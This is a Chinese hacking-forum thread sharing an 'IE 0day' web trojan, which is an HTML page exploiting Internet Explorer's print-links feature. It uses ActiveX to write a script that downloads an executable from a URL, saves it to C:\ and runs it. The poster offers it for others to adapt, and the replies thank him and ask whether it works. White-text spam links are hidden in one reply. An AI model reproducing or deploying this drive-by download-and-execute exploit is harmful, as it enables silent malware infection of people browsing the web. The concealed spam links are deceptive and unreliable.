IE0DAY网马
哈哈。标题吸引吗。修改代码请注意不能使用双引号”，注意不能跨域，还有一些其他零碎的问题自己调试吧。
这个漏洞执行后可以远程下载任意文件并执行。
第一次写网马，只好拿鸡PP搓成鸡胸，这样垃圾的漏洞才能放出来~哈哈。
不过。这个漏洞利用的好也可以玩一玩的。
XML/HTML代码[code]<html>
<body>
Print me with table of links to execute
<a href="http://www.bla.com?x=b<script defer >
var ForWriting = 2;
var strFile = 'c:\\test2.js';
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine('var objArgs = \'http://127.0.0.1/test.exe\';');
objStream.WriteLine('var objargss =\'c:\\\\gtest.exe\';');
objStream.WriteLine('var sGet=new ActiveXObject(\'ADODB.Stream\');');
objStream.WriteLine('var xGet = false;');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new XMLHttpRequest();');
objStream.WriteLine('} ');
objStream.WriteLine('catch (trymicrosoft) {');
objStream.WriteLine('try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Msxml2.XMLHTTP\');');
objStream.WriteLine('} ');
objStream.WriteLine('catch (othermicrosoft) {');
objStream.WriteLine(' try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Microsoft.XMLHTTP\');');
objStream.WriteLine(' } ');
objStream.WriteLine('catch (failed) {');
objStream.WriteLine(' xGet = false;');
objStream.WriteLine(' }');
objStream.WriteLine('}');
objStream.WriteLine('}');
objStream.WriteLine('xGet.Open (\'GET\',objArgs.toLowerCase(),0);');
objStream.WriteLine('xGet.Send();');
objStream.WriteLine('sGet.Mode=3;');
objStream.WriteLine('sGet.Type=1;');
objStream.WriteLine('sGet.Open();');
objStream.WriteLine('sGet.Write (xGet.ResponseBody);');
objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);');
objStream.WriteLine('var x=new ActiveXObject(\'WScript.Shell\');');
objStream.WriteLine('x.Run(objargss);');
objStream.Close();
var objShell = new ActiveXObject('wscript.shell');
objShell.Run(strFile);
</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>[/code] 呵呵，败类啊
好啊 好东西啊
最近一直有人在向我要网马
自己也没有时间整理
谢谢楼 学习了啊
顶 这个能用吗? 斑竹就是强哈~~
谢谢楼主,我收下了!
呵呵,真的不错哦,谢谢你...[url=http://www.pcbbt.cn/][color=white]电脑帮帮堂[/color][/url][color=white] [/color][url=http://www.wasai4f.cn/][color=white]哇塞私服[/color][/url][color=white] [/color][url=http://www.sport5th.cn/][color=white]体育5频道[/color][/url][color=white] [/color][url=http://www.ttdmba.cn/][color=white]天天动漫吧[/color][/url][color=white] [/color][url=http://www.17paosf.cn/][color=white]一起泡私服[/color][/url]
页:
[1]